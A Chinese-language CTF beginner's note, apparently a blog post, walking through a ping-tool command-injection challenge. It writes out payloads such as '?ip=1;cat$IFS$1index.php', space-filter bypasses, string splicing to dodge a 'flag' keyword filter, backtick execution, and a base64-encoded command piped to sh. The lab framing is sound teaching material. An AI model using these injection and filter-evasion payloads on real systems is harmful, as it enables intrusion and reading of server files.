当前位置:网站首页>CTF入门笔记之ping
CTF入门笔记之ping
2022-08-02 03:25:00 【SevenCold】
1.用命令行找flag文件
随便ping,然后跟ls
例如:1;ls

发现index.php文件
1;cat index.php 查看发现就是源网站。
那就向上找
1;ls …/
继续向上找
直到1;ls …/…/…/
发现flag 打开
1;cat …/…/…/flag
得到flag
2.绕过过滤打开文件
同样,先查看目录
payload:?ip=1;ls

发现两个文件,尝试直接打开index文件(虽然知道肯定不行)
payload:?ip=1;cat index.php
果然不行

猜可能过滤了空格(space),绕过空格过滤有很多方法,
%20、%09、$IFS 1 、 1、 1、{IFS}、<>、<还可以用{} 比如 {cat,flag},这里发现$IFS$1可以使用。
payload:?ip=1;cat$IFS$1index.php

发现一堆过滤,其中还包括flag
接下来就是绕过flag过滤就行了
方法一:拼接flag
payload:?ip=1;a=ag.php;b=fl;cat$IFS$1$b$a

在网站源码中可以看到flag
方法二:内联执行绕过(即``)
payload:?ip=1;cat$IFS$1`ls`
使用内联执行会将 ``内的输出作为前面命令的输入。

同样在源码中可以看到flag
方法三:base64编码绕过
payload:?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw即cat flag.php的base64编码

同上。在源码中找到flag。
边栏推荐
- js eventLoop 事件循环机制
- Using PHPMailer send mail
- PHP图片压缩到指定的大小
- [phpunit/php-timer] A timer for code execution time
- About the apache .htaccess file of tp
- easyswoole uses redis to perform geoRadiusByMember Count invalid fix
- [campo/random-user-agent] Randomly fake your User-Agent
- 你的本地创建的项目库还在手动创建远端代码仓库再推送吗,该用它了
- PHP8.2的版本发布管理员和发布计划
- [league/climate]一个功能健全的命令行功能操作库
猜你喜欢

SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
![[sebastian/diff] A historical change extension library for comparing two texts](/img/c7/ea79db7a5003523ece7cf4f39e4987.png)
[sebastian/diff] A historical change extension library for comparing two texts

PHP有哪些杀手级超厉害框架或库或应用?

PHP8.2的版本发布管理员和发布计划

如何根据地图上的两个坐标点来确定方向

hackmyvm-hopper walkthrough

TypeScript error error TS2469, error TS2731 solution

v-bind用法:类动态绑定对象 数组 style样式 及函数方法

uniapp | 使用npm update更新后编译报错问题

IO stream, encoding table, character stream, character buffer stream
随机推荐
微信小程序开发视频加载:[渲染层网络层错误] Failed to load media
hackmyvm-random walkthrough
(1) print()函数、转义字符、二进制与字符编码 、变量、数据类型、input()函数、运算符
逍遥多开模拟器ADB驱动连接
阿里云服务器如何使用admin账户登录
Various ways of AES encryption
v-bind用法:类动态绑定对象 数组 style样式 及函数方法
14. JS Statements and Comments, Variables and Data Types
TCP通信程序
vim编辑模式
Phpstudy installs Thinkphp6 (problem + solution)
TypeScript 错误 error TS2469、error TS2731 解决办法
VIKINGS: 1 vulnhub walkthrough
(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
PHP基金会三月新闻公告发布
数组的高级操作
稳定好用的短连接生成平台,支持API批量生成
如何计算地球上两点的距离(附公式推导)
[symfony/mailer] An elegant and easy-to-use mail library
[campo/random-user-agent] Randomly fake your User-Agent